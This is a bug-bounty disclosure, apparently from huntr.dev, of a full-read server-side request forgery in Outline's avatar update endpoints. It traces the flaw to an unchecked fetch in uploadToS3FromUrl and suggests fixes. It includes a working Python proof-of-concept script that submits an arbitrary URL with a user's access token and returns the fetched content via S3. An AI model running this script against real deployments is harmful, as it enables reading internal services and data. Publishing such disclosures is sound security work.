Lucene search

K
huntrKevin-mizu1F274C4D-B814-431A-BE54-F1E8C4791092
HistoryJul 01, 2022 - 6:42 p.m.

Full Read Server-Side Request Forgery (SSRF)

2022-07-0118:42:13
kevin-mizu
www.huntr.dev
17
server-side request forgery
ssrf
unsanitized parameter
endpoint
exploitation
retrieval
vulnerability
s3 bucket
method vulnerability

🔒️ Requirements

Privileges: None.

📝 Description

The avatarUrl post parameter from /api/users.update and /api/teams.update api endpoint isn’t sanitize and permit to get a full read SSRF exploitation. When updating user’s or team’s avatar, even if from client side we can only change it by uploading an image to s3bucket, we still can change the supplied an url to force the server fetching and uploading the content url we want. If the fetching was doing well, we get it’s url as an outpout, allowing us to retrieve the full content of the page.

  • Case n°1: /api/users.update.

1°) The avatarUrl post parameter is recieved by /server/routes/api/users.ts on users.update road. (link)

2°) Then it is sent to user uploadAvatar method. (link)

3°) Finaly it is upload via uploadToS3FromUrl method. (link)

  • Case n°2: /api/teams.update

1°) The avatarUrl post parameter is recieved by /server/routes/api/teams.ts on teams.update road. (link)

2°) Then it is sent to team uploadAvatar method. (link)

3°) Finaly it is upload via uploadToS3FromUrl method. (link)

In both case, the workflow is quite the same and the vulnerability occure at in the same method uploadToS3FromUrl.

export const uploadToS3FromUrl = async (
  url: string,
  key: string,
  acl: string
) => {
  try {
    const res = await fetch(url);
    // @ts-expect-error ts-migrate(2339) FIXME: Property 'buffer' does not exist on type 'Response... Remove this comment to see the full error message
    const buffer = await res.buffer();
    await s3
      .putObject({
        ACL: acl,
        Bucket: AWS_S3_UPLOAD_BUCKET_NAME,
        Key: key,
        ContentType: res.headers["content-type"],
        ContentLength: res.headers["content-length"],
        Body: buffer,
      })
      .promise();
    const endpoint = publicS3Endpoint(true);
    return `${endpoint}/${key}`;
    ...
};

Here, as you can see, the fetch request result is imediatly upload to the s3bucket without verifying the MIME type or remote hostname ip. Due to this, all files from all destinations can be retrieved by the SSRF.

🕵️‍♂️ Proof of Concept

home.png

  • Step 2: retrieve your accessToken cookie from the developer tab.

cookies.png

  • Step 3: use the folowing script to exploit de SSRF:
    • ssrf_url = webpage you want to get.
    • accessToken = your access token
    • outline_url = your outline url
from requests import post
from json import loads

ssrf_url = "https://mizu.re"
accessToken = "XXX"
outline_url = "XXX"

# init
api_url = "https://%s/api/users.update" % outline_url # Change it 
headers = {
    "Authorization": "Bearer %s" % accessToken
}
json = {
    "avatarUrl": ssrf_url
}

# request
r = loads(post(url=api_url, headers=headers, json=json).text)

if "https://outline-production-attachments.s3-accelerate.amazonaws.com/" in r["data"]["avatarUrl"]:
    print("\n\x1b[1m[+] SSRF output generated:", r["data"]["avatarUrl"], "\x1b[0m\n")
else:
    print("\n\x1b[31;1m=== ERROR FETCHING THE WEBPAGE ===\x1b[0m\n")
  • Step 4: go to the url and retrieve the output.
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="https://mizu.re/favicon.png">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/normalize.css">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/style.css">
<link rel="stylesheet" href="https://mizu.re/assets/css/style-dark-specific.css" id="theme-style"><link rel="stylesheet" href="https://mizu.re/assets/css/github-markdown-dark.css" id="markdown-style"><link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

...

🔨 Fix

To fix this vulnerability, I suggest you to:

  • Allow only image MIME type like:
    • image/png
    • image/jpeg
  • Resolve hostname IP to avoid internal HTTP query.
  • Check for magic bytes.

OR

  • Avoid uploading files via an URL.

Depending on how you want to use uploadToS3FromUrl method later, I suggest you use those filters in Team and User uploadAvatar method or directly inside uploadToS3FromUrl. Directly fixing uploadToS3FromUrl will be more efficient and avoid any new SSRF on that endpoint but, you won’t be able to use it to upload other type files that cité above.